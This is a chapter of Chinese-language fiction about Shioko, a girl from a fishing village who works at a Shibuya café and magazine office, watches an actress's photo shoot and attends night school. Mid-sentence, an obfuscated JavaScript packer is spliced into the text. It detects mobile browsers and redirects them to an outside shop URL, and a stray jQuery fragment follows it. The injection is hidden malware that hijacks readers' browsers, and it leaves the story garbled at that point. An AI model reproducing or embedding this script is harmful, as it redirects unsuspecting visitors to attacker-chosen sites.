潮子第一天到咖啡店打工的时候，连咖啡是什么都不知道。
她在渔村长大，酒肆里卖的是清酒和烧酎，男人们喝那些东西，喝得脸红脖子粗，拍着桌子唱歌。她没见过有人喝咖啡。那东西黑乎乎的，闻起来有一股焦糊的味道，她第一次端给客人的时候，心想这能好喝吗。客人是个穿西装的中年男人，接过去抿了一口，皱着的眉头松开了，靠在椅背上，长长地呼了一口气。潮子站在旁边，觉得奇怪。在渔村，能让人长出那种表情的东西，只有酒。
后来典子给她也倒了一杯。她站在吧台后面，端着那个小小的杯子，看着里面黑漆漆的液体，犹豫了一下，抿了一口。苦的。涩的。她差点吐出来。典子看着她皱成一团的脸，笑了。“第一次喝都这样。”潮子把那杯咖啡喝完了，不是因为好喝，是因为不想浪费。喝到最后一口的时候，她好像品出了一点什么，说不上来，像海风里混了一点点甜。
现在她已经习惯了。每天上午站在咖啡机前面，看着深褐色的液体流进杯子里，奶泡在上面浮成一层白。她知道美式是苦的，拿铁是顺的，加糖加奶是给怕苦的人准备的。但她还是不怎么喝。她宁愿喝白水。
那天上午的班结束后，典子照例给她留了午饭。她坐在后面的小房间里，把饭吃完，把便当盒洗干净，还给典子。门上的铃铛响了一声，她推门出去，站在街上。涩谷的太阳白花花地照着，她眯了一下眼睛，往公寓的方向走。
回到公寓，高桥女士在玄关等她，手里拎着一个黑色的大包。“走吧。”她说。潮子跟在她后面，走出巷子，拐上大路。杂志社在涩谷车站南边的一座大楼里，五层，灰色的外墙，门口挂着一块铜牌，上面刻着杂志的名字。高桥刷了卡，推开玻璃门，潮子跟在后面走进去。
电梯到了三楼，门打开，迎面是一条长长的走廊。墙上挂着放大的杂志封面，一幅接一幅，像画廊。潮子走过去的时候，忍不住放慢了脚步。那些封面上的面孔——有的在笑，有的在沉思，有的侧着脸，眼睛看着远方。灯光打在上面，每一个人都像在发光。她在一张封面前面停下来，是一个女演员的特写，黑白的，她的脸占满了整个画面，眼睛很大，看着镜头，像有话要说。潮子站在那里，看了很久。
“潮子？”高桥在前面喊她。她回过神，快步跟上去。
办公室比她想的大。一进门是一排排的桌子，上面堆着稿纸、照片、信封、剪刀、胶水。有人在打电话，有人在打字。空气里有纸张的味道，还有咖啡的味道，还有显影液的味道，涩涩的，酸酸的。潮子站在门口，被那个味道呛了一下。
高桥领着她穿过办公室，走到最里面的一间小房间。“这是资料室。”她推开门，里面是一排一排的铁皮柜子，从地板到天花板，密密麻麻的。“你的工作是整理这些资料。按日期、按类别归档。还有，送文件到各个部门。有时候暗房需要帮忙，你也去。”
潮子点点头。
“今天你先跟着我。”高桥从桌上拿起一摞信封，“把这些送到摄影棚。”
摄影棚在走廊的另一头。高桥推开门的时候，潮子站在门口，愣住了。
棚很大，比酒肆大十倍。地上铺着灰色的背景布，几盏巨大的灯架在四周，像金属的树。灯亮着，把整个棚照得白花花的，没有影子。空气里有发胶和定妆粉的味道，还有灯光烤久了的热气，闷闷的。
中间站着一个女人。她穿着一件红色的连衣裙，领口开得很低，头发烫成很大的卷，垂在肩膀上。她的脸化了妆，嘴唇很红，眼睛周围涂了深色的眼影，在灯光下反着光。她站在背景布前面，摆着姿势——下巴微微抬起，手放在腰上，身体侧过去，露出一条腿。摄影师蹲在她前面，举着相机，喊“好，好，再看这边”。快门的声音咔嚓咔嚓的，很快，很密。
旁边站着几个工作人员，有的举着反光板，有的拿着衣服，有的蹲在地上整理电线。没有人说话，只有快门的声音和摄影师偶尔的指令。
潮子站在那里，看着那个女人。她从来没有这么近地看过这样的人。在渔村，在酒肆，在街上，她见过的人都是灰扑扑的、低着头、缩着肩膀的。这个人不一样。她站在那里，像一团火，亮得刺眼。她的每一个动作都是故意的——转头、抬眼、微笑、把头发拨到耳后——但看起来又那么自然，好像她天生就该被灯照着，被镜头追着。
潮子看着她的侧脸，看着灯光在她锁骨上打出的小小的阴影，看着她耳垂上那两颗亮闪闪的耳环，看着她的裙摆被风扇吹起来又落下去。她看得入了迷，手里的信封被她攥出了褶子。
高桥把信封递给一个工作人员，转过身，看见潮子站在那里，一动不动。她没有叫她，只是站在旁边，等着。
过了一会儿，摄影师喊了一声“休息”。那个女人脸上的表情一下子松下来，肩膀塌了，用手扇着风，助理赶紧跑过去给她披上外套。摄影棚里的灯关了几盏，光线暗下来，温度也降了一点。潮子像是被人从水里捞出来一样，回过神来。
“走吧。”高桥说。
潮子跟在她后面走出摄影棚。走廊里很安静，只有远处传来的打字机声。潮子低着头走了几步，突然说：“那个人是谁？”
“松本亚矢子。”高桥说，“演员。下期杂志的封面。”
潮子点点头，没再问。但她脑子里还留着那个画面——那个女人站在灯光下的样子，她的红裙子，她耳朵上的亮光。她从来没想过，一个人可以被灯照得那么好看。
回到资料室，高桥教她怎么归档。按日期分，按栏目分，按摄影师的名字分。潮子学得很快，高桥说了一遍她就记住了。她坐在铁皮柜子前面，把一摞一摞的稿纸分好，用夹子夹住，写上标签，放进对应的格子里。
做着这些的时候，她心里很静。这种静是满的，周围全是声音，但那些声音和她没关系。打字机的声音，电话的声音，翻稿纸的声音，远处摄影棚里快门的声音。她在这些声音中间，安安静静地坐着，做自己的事。
下午四点，她该去夜校了。她把剩下的稿纸码整齐，站起来，走到高桥的桌前。
“高桥女士，我去学校了。”
高桥抬起头，看着她。“明天下午还是三点来。”
潮子点点头，转身要走。
“潮子。”她停下来。“今天在摄影棚，”高桥说，“你看松本亚矢子看呆了。”
潮子的脸烫了一下。
“好看吗？”高桥问。
潮子想了想。“好看。”她说，“但不是我见过的最好看的。”
高桥愣了一下。“那谁最好看？”
潮子没有回答。她想起一个人。不是松本亚矢子，不是电视上的清源幸司。是另一个人。那个人没有站在灯光下，没有化妆，没有穿红裙子。她穿着一条深蓝色的连衣裙，坐在礁石上，光着脚，海风吹着她的头发。那是她自己。她不知道那算不算好看，但那一刻，她觉得自己很好看。
“那个坐在礁石上的女孩。”她说。
高桥看了她一眼，没再问。
潮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486551|202041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子走出杂志社，站在楼下。天还没黑，太阳在西边挂着，把对面的玻璃幕墙照得金灿灿的。她站在那里，仰着头，看了一会儿那片金色的光。然后她低下头，往夜校的方向走。
走到校门口的时候，她停下来。门口的台阶上坐着一个人，穿着工作服，袖口有油渍，手里拿着一个饭盒，正在吃东西。是中村。他看见她，愣了一下，把饭盒放下，站起来。
“浜田。”
“中村。”
“你今天来得早。”
“嗯。”
他看着她，犹豫了一下。“你吃过了吗？”
“吃过了。”她说。
中村点点头，把饭盒收起来。两个人一起走进教学楼。走廊里很安静，日光灯嗡嗡地响。潮子走在前面，中村跟在后面。走到教室门口，潮子停下来，回头看了他一眼。
“中村。”
“嗯？”
“你每天都是自己带饭？”
“嗯。家里做的。”
“谁做的？”
“我自己。”他笑了一下，“我妈很早就没了。我爸在工厂上班，顾不上我。我就自己学着做。”
潮子看着他。
“好吃吗？”她问。
“还行吧。能吃。”
潮子笑了一下。很轻的，嘴角动了一下，眼睛弯了弯。中村看见她笑，愣了一下，也笑了。
他们走进教室，在各自的位子坐下。老师进来了，翻开课本，开始讲课。潮子拿出笔记本，一笔一划地写着。她的字还是那么工整。窗外的天黑了，教室里的灯亮着，照在她的本子上，白花花的。她写着写着，想起摄影棚里那盏灯，想起松本亚矢子站在灯光下的样子。那个人被灯照着，所有人都看着她。而她坐在这里，没有灯照着她，没有人看她。她在笔记本上写下一个字，又写下一个字。她在想，被灯照着是什么感觉。是不是很热？是不是刺眼？是不是站在那里，所有人都看着你，你就不是你自己了？
她把那个念头按下去，继续听课。老师在讲《蜘蛛之丝》的最后一节。犍陀多掉回了地狱。那根蜘蛛丝断了。他本来可以爬上去的，但他回头看了别人一眼，就掉下去了。潮子想，如果他是自己一个人，是不是就能爬上去？还是说，那根丝本来就是断的，不管有没有别人，它都会断？
她把这个问题写在笔记本的边上。写完了，看着它，看了一会儿，又划掉了。
下课了。她收拾好东西，走出教室。中村在外面等她。
“浜田。”
“嗯？”
“明天见。”
“明天见。”
她走出校门，往公寓的方向走。走到巷口的时候，她停下来。桂花树在路灯下面，叶子被光照着，亮亮的。她站在树下，仰着头看了一会儿。然后她走进巷子，上楼。
高桥女士的房间灯还亮着。打字机的声音嗒嗒嗒的，从走廊那头传过来。潮子推开自己的房门，把包放下，坐在榻榻米上。窗台上那枚贝壳，白白的，有粉色的纹路。她把它拿起来，放在手心里。凉凉的，硬硬的。
她想起今天在摄影棚里看到的那个画面。那些灯，那个穿红裙子的女人，那些咔嚓咔嚓响的快门。她想起自己坐在礁石上的那天，海风吹着她的头发，森本先生举着相机对着她。那时候也有快门的声音，但没有灯。只有海，只有风，只有她自己。
她不知道哪一个更好。她只知道，那天在海边，她很舒服。就坐在那里，闭着眼睛，让风吹着。那是她这辈子最舒服的时候。